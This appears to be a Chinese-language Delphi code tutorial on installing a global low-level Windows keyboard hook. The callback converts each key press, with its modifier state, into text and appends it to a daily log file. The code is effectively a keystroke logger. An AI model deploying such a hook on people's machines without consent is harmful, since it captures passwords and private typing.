声明底层键盘钩子消息数据 结构:
//Delphi中没有定义KBDLLHOOKSTRUCT结构,自己定义一个
type
PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT;
KBDLLHOOKSTRUCT=record
vkCode:DWORD;
scanCode:DWORD;
flags:DWORD;
time:DWORD;
dwExtraInfo:DWORD;
end;
const
WH_KEYBOARD_LL = 13;
安装卸载钩子:
var
MyHook: HHook;
function InstallKeyboardListener: Boolean; stdcall;
begin
MyHook:= SetWindowsHookEx(WH_KEYBOARD_LL, AA, HInstance, 0);
Result:= MyHook <> 0;
end;
function UninstallKeyboardListener: Boolean; stdcall;
begin
if MyHook<>0 then
Result:= UnhookWindowsHookEx(MyHook);
end;
钩子子程:
function AA(nCode: Integer; wParam: WPARAM; lParam: LPARAM):LRESULT; stdcall;
var
p: PKBDLLHOOKSTRUCT;
KeyInfo, sChar: string;
BCtrl, BShift, BAlt, BCapsLk: Boolean;
begin
if wParam= WM_KEYDOWN then
if nCode = HC_Action then
begin
BCtrl:= GetKeyState(VK_CONTROL)<0;
if BCtrl then
KeyInfo:= KeyInfo+ 'Ctrl=1'#9
else
KeyInfo:= KeyInfo+ 'Ctrl=0'#9;
BShift:= GetKeyState(VK_SHIFT)<0;
if BShift then
KeyInfo:= KeyInfo+ 'Shift=1'#9
else
KeyInfo:= KeyInfo+ 'Shift=0'#9;
BAlt:= GetKeyState(VK_MENU)<0;
if BAlt then
KeyInfo:= KeyInfo+ 'Alt=1'#9
else
KeyInfo:= KeyInfo+ 'Alt=0'#9;
BCapsLk:= GetKeyState(VK_CAPITAL)and 1 = 1;
if BCapsLk then
KeyInfo:= KeyInfo+ 'CapsLk=1'#9
else
KeyInfo:= KeyInfo+ 'CapsLk=0'#9;
p:= PKBDLLHOOKSTRUCT(lParam);
case p^.vkCode of
65..90: // A..Z
begin
if BCapsLk xor BShift then
sChar:= chr(p^.vkCode) //大写
else
sChar:= chr(p^.vkCode+32); //小写
end;
48..57: //0..9
begin
if not BShift then //Shift没按下
sChar:= chr(p^.vkCode)
else
case p^.vkCode of
48: sChar:= chr(41); //0
49: sChar:= chr(33); //1
50: sChar:= chr(64); //2
51: sChar:= chr(35); //3
52: sChar:= chr(36); //4
53: sChar:= chr(37); //5
54: sChar:= chr(94); //6
55: sChar:= chr(38); //7
56: sChar:= chr(42); //8
57: sChar:= chr(40); //9
end;
end;
186: //;(分号)
begin
if not BShift then //Shift没按下
sChar:= chr(59)
else
sChar:= chr(58);
end;
187: //=键
begin
if not BShift then //Shift没按下
sChar:= chr(61)
else
sChar:= chr(43);
end;
188: //,键(逗号)
begin
if not BShift then //Shift没按下
sChar:= chr(44)
else
sChar:= chr(60);
end;
189: //-键(减号)
begin
if not BShift then //Shift没按下
sChar:= chr(45)
else
sChar:= chr(95);
end;
190: //.键(句号)
begin
if not BShift then //Shift没按下
sChar:= chr(46)
else
sChar:= chr(62);
end;
191: ///键
begin
if not BShift then //Shift没按下
sChar:= chr(47)
else
sChar:= chr(63);
end;
192: //`键(Esc下面)
begin
if not BShift then //Shift没按下
sChar:= chr(96)
else
sChar:= chr(126);
end;
219: //[键
begin
if not BShift then //Shift没按下
sChar:= chr(91)
else
sChar:= chr(123);
end;
220: //\键
begin
if not BShift then //Shift没按下
sChar:= chr(92)
else
sChar:= chr(124);
end;
221: //]键
begin
if not BShift then //Shift没按下
sChar:= chr(93)
else
sChar:= chr(125);
end;
222: //'键(引号)
begin
if not BShift then //Shift没按下
sChar:= chr(39)
else
sChar:= chr(34);
end;
//以下是不可见字符
1..47:
sChar:= ArrVKs1[p^.vkCode];
91..135:
sChar:= ArrVKs2[p^.vkCode];
144:
sChar:= 'VK_NUMLOCK';
145:
sChar:= 'VK_SCROLL';
160..165:
sChar:= ArrVKs3[p^.vkCode];
229:
sChar:= 'VK_PROCESSKEY';
246..254:
sChar:= ArrVKs4[p^.vkCode];
end;
if p^.vkCode in [65..90,48..57,186..192,219..222] then
sChar:= sChar+#9;
KeyInfo:= 'Key='+ sChar+ #9 + 'VK='+ IntToStr(p^.vkCode)+#9 + KeyInfo;
AddLog(KeyInfo, DllPath+ FormatDateTime('yyyyMMdd',Date)+ '.txt');
end;
Result:= CallNextHookEx(MyHook, nCode, wParam, lParam);
end;
Messages.pas单元键盘的动作类型:
{$EXTERNALSYM WM_KEYFIRST}
WM_KEYFIRST = $0100;
{$EXTERNALSYM WM_KEYDOWN}
WM_KEYDOWN = $0100;
{$EXTERNALSYM WM_KEYUP}
WM_KEYUP = $0101;
{$EXTERNALSYM WM_CHAR}
WM_CHAR = $0102;
{$EXTERNALSYM WM_DEADCHAR}
WM_DEADCHAR = $0103;
{$EXTERNALSYM WM_SYSKEYDOWN}
WM_SYSKEYDOWN = $0104;
{$EXTERNALSYM WM_SYSKEYUP}
WM_SYSKEYUP = $0105;
{$EXTERNALSYM WM_SYSCHAR}
WM_SYSCHAR = $0106;
{$EXTERNALSYM WM_SYSDEADCHAR}
WM_SYSDEADCHAR = $0107;
{$EXTERNALSYM WM_KEYLAST}
WM_KEYLAST = $0108;